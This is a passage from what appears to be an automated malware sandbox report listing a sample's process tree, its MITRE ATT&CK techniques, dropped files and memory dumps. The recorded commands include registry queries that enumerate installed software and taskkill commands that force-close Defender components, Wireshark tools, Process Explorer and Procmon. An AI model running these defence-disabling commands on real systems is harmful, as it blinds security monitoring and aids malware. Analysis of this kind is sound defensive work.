PID:1976

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3968

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:64
3⤵
PID:2808

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:32
3⤵
PID:3688

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1512

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:64
3⤵
PID:4100

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:32
3⤵
PID:4120

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MpUXSrv.exe" /T /F
2⤵
- Kills process with taskkill
PID:4140

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4152

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:64
3⤵
PID:4216

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:32
3⤵
PID:4248

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4276

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:64
3⤵
PID:4312

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:32
3⤵
PID:4328

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4348

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:64
3⤵
PID:4384

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:32
3⤵
PID:4400

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4416

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:64
3⤵
PID:4452

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:32
3⤵
PID:4488

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4508

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:64
3⤵
PID:4544

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:32
3⤵
PID:4564

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4584

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:64
3⤵
PID:4620

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:32
3⤵
PID:4640

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4660

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:4696

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:4716

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MpCmdRun.exe" /T /F
2⤵
- Kills process with taskkill
PID:4728

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4784

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:64
3⤵
PID:4828

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:32
3⤵
PID:4856

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4876

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:64
3⤵
PID:4912

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:32
3⤵
PID:4932

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4952

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:64
3⤵
PID:4988

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:32
3⤵
PID:5008

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:5028

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:64
3⤵
PID:5064

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:32
3⤵
PID:5084

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:5104

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:64
3⤵
PID:4100

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:32
3⤵
PID:4160

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4220

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:64
3⤵
PID:4292

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:32
3⤵
PID:4188

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4140

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:64
3⤵
PID:3204

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:32
3⤵
PID:3972

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:748

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:64
3⤵
PID:4336

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:32
3⤵
PID:3860

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3752

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:64
3⤵
PID:3380

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:32
3⤵
PID:3708

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2816

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:64
3⤵
PID:1416

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:32
3⤵
PID:2912

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1252

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:64
3⤵
PID:1828

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:32
3⤵
PID:2108

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3432

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:64
3⤵
PID:1664

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:32
3⤵
PID:4184

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1836

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:64
3⤵
PID:1248

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:32
3⤵
PID:3688

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1648

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:64
3⤵
PID:3864

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:32
3⤵
PID:1096

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "NisSrv.exe" /T /F
2⤵
- Kills process with taskkill
PID:68

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3000

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:64
3⤵
PID:4332

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:32
3⤵
PID:4328

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4396

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:64
3⤵
PID:4456

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:32
3⤵
PID:4484

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "ConfigSecurityPolicy.exe" /T /F
2⤵
- Kills process with taskkill
PID:4504

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F
2⤵
- Kills process with taskkill
PID:4628

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "wireshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:4712

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "tshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:4776

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "text2pcap.exe" /T /F
2⤵
- Kills process with taskkill
PID:4860

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "rawshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:4960

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "dumpcap.exe" /T /F
2⤵
- Kills process with taskkill
PID:5080

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "capinfos.exe" /T /F
2⤵
- Kills process with taskkill
PID:4100

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "Procmon.exe" /T /F
2⤵
- Kills process with taskkill
PID:4264

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Modify Registry

T1112

Disabling Security Tools

T1089

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\.ntusernt.ini

Download Submit
C:\Users\Admin\FVKwo\Desktop.ini

Download Submit
C:\Users\Admin\FVKwo\WbZqr.class

Download Submit
\Users\Admin\AppData\Local\Temp\DHFUtncPHD8079485963595097818.xml

Download Submit
memory/68-234-0x0000000000000000-mapping.dmp

Download
memory/68-117-0x0000000000000000-mapping.dmp

Download
memory/412-98-0x0000000000000000-mapping.dmp

Download
memory/424-79-0x0000000000000000-mapping.dmp

Download
memory/472-119-0x0000000000000000-mapping.dmp

Download
memory/508-53-0x0000000000000000-mapping.dmp

Download
memory/532-63-0x0000000000000000-mapping.dmp

Download
memory/584-137-0x0000000000000000-mapping.dmp

Download
memory/636-126-0x0000000000000000-mapping.dmp

Download
memory/652-125-0x0000000000000000-mapping.dmp

Download
memory/748-214-0x0000000000000000-mapping.dmp

Download
memory/752-148-0x0000000000000000-mapping.dmp

Download
memory/756-113-0x0000000000000000-mapping.dmp

Download
memory/976-60-0x0000000000000000-mapping.dmp

Download
memory/1012-65-0x0000000000000000-mapping.dmp

Download
memory/1096-123-0x0000000000000000-mapping.dmp

Download
memory/1096-235-0x0000000000000000-mapping.dmp

Download
memory/1204-92-0x0000000000000000-mapping.dmp

Download
memory/1240-154-0x0000000000000000-mapping.dmp

Download
memory/1248-230-0x0000000000000000-mapping.dmp

Download
memory/1248-105-0x0000000000000000-mapping.dmp

Download
memory/1252-223-0x0000000000000000-mapping.dmp

Download
memory/1356-67-0x0000000000000000-mapping.dmp

Download
memory/1356-141-0x0000000000000000-mapping.dmp

Download
memory/1416-68-0x0000000000000000-mapping.dmp

Download
memory/1416-221-0x0000000000000000-mapping.dmp

Download
memory/1416-133-0x0000000000000000-mapping.dmp

Download
memory/1436-136-0x0000000000000000-mapping.dmp

Download
memory/1440-130-0x0000000000000000-mapping.dmp

Download
memory/1440-94-0x0000000000000000-mapping.dmp

Download
memory/1492-69-0x0000000000000000-mapping.dmp

Download
memory/1512-163-0x0000000000000000-mapping.dmp

Download
memory/1512-70-0x0000000000000000-mapping.dmp

Download
memory/1640-109-0x0000000000000000-mapping.dmp

Download
memory/1640-151-0x0000000000000000-mapping.dmp

Download
memory/1648-232-0x0000000000000000-mapping.dmp

Download
memory/1660-71-0x0000000000000000-mapping.dmp

Download
memory/1664-227-0x0000000000000000-mapping.dmp

Download
memory/1664-138-0x0000000000000000-mapping.dmp

Download
memory/1736-127-0x0000000000000000-mapping.dmp

Download
memory/1816-120-0x0000000000000000-mapping.dmp

Download
memory/1828-114-0x0000000000000000-mapping.dmp

Download
memory/1828-224-0x0000000000000000-mapping.dmp

Download
memory/1832-122-0x0000000000000000-mapping.dmp

Download
memory/1836-229-0x0000000000000000-mapping.dmp

Download
memory/1852-110-0x0000000000000000-mapping.dmp

Download
memory/1884-50-0x0000000000000000-mapping.dmp

Download
memory/1908-84-0x0000000000000000-mapping.dmp

Download
memory/1912-72-0x0000000000000000-mapping.dmp

Download
memory/1976-159-0x0000000000000000-mapping.dmp

Download
memory/2040-81-0x0000000000000000-mapping.dmp

Download
memory/2108-73-0x0000000000000000-mapping.dmp

Download
memory/2108-225-0x0000000000000000-mapping.dmp

Download
memory/2112-132-0x0000000000000000-mapping.dmp

Download
memory/2128-89-0x0000000000000000-mapping.dmp

Download
memory/2140-131-0x0000000000000000-mapping.dmp

Download
memory/2140-155-0x0000000000000000-mapping.dmp

Download
memory/2320-51-0x0000000000000000-mapping.dmp

Download
memory/2492-74-0x0000000000000000-mapping.dmp

Download
memory/2652-95-0x0000000000000000-mapping.dmp

Download
memory/2656-82-0x0000000000000000-mapping.dmp

Download
memory/2656-99-0x0000000000000000-mapping.dmp

Download
memory/2792-144-0x0000000000000000-mapping.dmp

Download
memory/2792-115-0x0000000000000000-mapping.dmp

Download
memory/2808-158-0x0000000000000000-mapping.dmp

Download
memory/2808-161-0x0000000000000000-mapping.dmp

Download
memory/2816-220-0x0000000000000000-mapping.dmp

Download
memory/2816-85-0x0000000000000000-mapping.dmp

Download
memory/2816-135-0x0000000000000000-mapping.dmp

Download
memory/2912-222-0x0000000000000000-mapping.dmp

Download
memory/2968-93-0x0000000000000000-mapping.dmp

Download
memory/3000-236-0x0000000000000000-mapping.dmp

Download
memory/3000-88-0x0000000000000000-mapping.dmp

Download
memory/3000-76-0x0000000000000000-mapping.dmp

Download
memory/3004-134-0x0000000000000000-mapping.dmp

Download
memory/3004-157-0x0000000000000000-mapping.dmp

Download
memory/3004-87-0x0000000000000000-mapping.dmp

Download
memory/3008-83-0x0000000000000000-mapping.dmp

Download
memory/3108-140-0x0000000000000000-mapping.dmp

Download
memory/3168-78-0x0000000000000000-mapping.dmp

Download
memory/3204-212-0x0000000000000000-mapping.dmp

Download
memory/3212-62-0x0000000000000000-mapping.dmp

Download
memory/3220-58-0x0000000000000000-mapping.dmp

Download
memory/3336-49-0x0000000000000000-mapping.dmp

Download
memory/3376-146-0x0000000000000000-mapping.dmp

Download
memory/3380-218-0x0000000000000000-mapping.dmp

Download
memory/3392-106-0x0000000000000000-mapping.dmp

Download
memory/3392-121-0x0000000000000000-mapping.dmp

Download
memory/3392-152-0x0000000000000000-mapping.dmp

Download
memory/3404-129-0x0000000000000000-mapping.dmp

Download
memory/3408-112-0x0000000000000000-mapping.dmp

Download
memory/3432-226-0x0000000000000000-mapping.dmp

Download
memory/3436-61-0x0000000000000000-mapping.dmp

Download
memory/3512-143-0x0000000000000000-mapping.dmp

Download
memory/3512-103-0x0000000000000000-mapping.dmp

Download
memory/3604-142-0x0000000000000000-mapping.dmp

Download
memory/3688-231-0x0000000000000000-mapping.dmp

Download
memory/3688-80-0x0000000000000000-mapping.dmp

Download
memory/3688-149-0x0000000000000000-mapping.dmp

Download
memory/3688-156-0x0000000000000000-mapping.dmp

Download
memory/3688-162-0x0000000000000000-mapping.dmp

Download
memory/3704-59-0x0000000000000000-mapping.dmp

Download
memory/3708-219-0x0000000000000000-mapping.dmp

Download
memory/3752-217-0x0000000000000000-mapping.dmp

Download
memory/3764-116-0x0000000000000000-mapping.dmp

Download
memory/3772-91-0x0000000000000000-mapping.dmp

Download
memory/3776-101-0x0000000000000000-mapping.dmp

Download
memory/3784-104-0x0000000000000000-mapping.dmp

Download
memory/3784-54-0x0000000000000000-mapping.dmp

Download
memory/3788-77-0x0000000000000000-mapping.dmp

Download
memory/3788-107-0x0000000000000000-mapping.dmp

Download
memory/3800-96-0x0000000000000000-mapping.dmp

Download
memory/3800-86-0x0000000000000000-mapping.dmp

Download
memory/3808-100-0x0000000000000000-mapping.dmp

Download
memory/3816-128-0x0000000000000000-mapping.dmp

Download
memory/3820-102-0x0000000000000000-mapping.dmp

Download
memory/3860-56-0x0000000000000000-mapping.dmp

Download
memory/3860-216-0x0000000000000000-mapping.dmp

Download
memory/3864-233-0x0000000000000000-mapping.dmp

Download
memory/3864-111-0x0000000000000000-mapping.dmp

Download
memory/3864-124-0x0000000000000000-mapping.dmp

Download
memory/3868-150-0x0000000000000000-mapping.dmp

Download
memory/3884-75-0x0000000000000000-mapping.dmp

Download
memory/3884-90-0x0000000000000000-mapping.dmp

Download
memory/3936-97-0x0000000000000000-mapping.dmp

Download
memory/3968-118-0x0000000000000000-mapping.dmp

Download
memory/3968-160-0x0000000000000000-mapping.dmp

Download
memory/3972-213-0x0000000000000000-mapping.dmp

Download
memory/4016-108-0x0000000000000000-mapping.dmp

Download
memory/4016-145-0x0000000000000000-mapping.dmp

Download
memory/4048-52-0x0000000000000000-mapping.dmp

Download
memory/4100-164-0x0000000000000000-mapping.dmp

Download
memory/4100-206-0x0000000000000000-mapping.dmp

Download
memory/4100-249-0x0000000000000000-mapping.dmp

Download
memory/4120-165-0x0000000000000000-mapping.dmp

Download
memory/4140-166-0x0000000000000000-mapping.dmp

Download
memory/4140-211-0x0000000000000000-mapping.dmp

Download
memory/4152-167-0x0000000000000000-mapping.dmp

Download
memory/4160-207-0x0000000000000000-mapping.dmp

Download
memory/4184-228-0x0000000000000000-mapping.dmp

Download
memory/4188-210-0x0000000000000000-mapping.dmp

Download
memory/4216-168-0x0000000000000000-mapping.dmp

Download
memory/4220-208-0x0000000000000000-mapping.dmp

Download
memory/4248-169-0x0000000000000000-mapping.dmp

Download
memory/4264-250-0x0000000000000000-mapping.dmp

Download
memory/4276-170-0x0000000000000000-mapping.dmp

Download
memory/4292-209-0x0000000000000000-mapping.dmp

Download
memory/4312-171-0x0000000000000000-mapping.dmp

Download
memory/4328-172-0x0000000000000000-mapping.dmp

Download
memory/4328-238-0x0000000000000000-mapping.dmp

Download
memory/4332-237-0x0000000000000000-mapping.dmp

Download
memory/4336-215-0x0000000000000000-mapping.dmp

Download
memory/4348-173-0x0000000000000000-mapping.dmp

Download
memory/4384-174-0x0000000000000000-mapping.dmp

Download
memory/4396-239-0x0000000000000000-mapping.dmp

Download
memory/4400-175-0x0000000000000000-mapping.dmp

Download
memory/4416-176-0x0000000000000000-mapping.dmp

Download
memory/4452-177-0x0000000000000000-mapping.dmp

Download
memory/4456-240-0x0000000000000000-mapping.dmp

Download
memory/4484-241-0x0000000000000000-mapping.dmp

Download
memory/4488-181-0x0000000000000000-mapping.dmp

Download
memory/4504-242-0x0000000000000000-mapping.dmp

Download
memory/4508-182-0x0000000000000000-mapping.dmp

Download
memory/4544-183-0x0000000000000000-mapping.dmp

Download
memory/4564-184-0x0000000000000000-mapping.dmp

Download
memory/4584-185-0x0000000000000000-mapping.dmp

Download
memory/4620-186-0x0000000000000000-mapping.dmp

Download
memory/4628-243-0x0000000000000000-mapping.dmp

Download
memory/4640-187-0x0000000000000000-mapping.dmp

Download
memory/4660-188-0x0000000000000000-mapping.dmp

Download
memory/4696-189-0x0000000000000000-mapping.dmp

Download
memory/4712-244-0x0000000000000000-mapping.dmp

Download
memory/4716-190-0x0000000000000000-mapping.dmp

Download
memory/4728-191-0x0000000000000000-mapping.dmp

Download
memory/4776-245-0x0000000000000000-mapping.dmp

Download
memory/4784-192-0x0000000000000000-mapping.dmp

Download
memory/4828-193-0x0000000000000000-mapping.dmp

Download
memory/4856-195-0x0000000000000000-mapping.dmp

Download
memory/4860-246-0x0000000000000000-mapping.dmp

Download
memory/4876-196-0x0000000000000000-mapping.dmp

Download
memory/4912-197-0x0000000000000000-mapping.dmp

Download
memory/4932-198-0x0000000000000000-mapping.dmp

Download
memory/4952-199-0x0000000000000000-mapping.dmp

Download
memory/4960-247-0x0000000000000000-mapping.dmp

Download
memory/4988-200-0x0000000000000000-mapping.dmp

Download
memory/5008-201-0x0000000000000000-mapping.dmp

Download
memory/5028-202-0x0000000000000000-mapping.dmp

Download
memory/5064-203-0x0000000000000000-mapping.dmp

Download
memory/5080-248-0x0000000000000000-mapping.dmp

Download
memory/5084-204-0x0000000000000000-mapping.dmp

Download
memory/5104-205-0x0000000000000000-mapping.dmp

Download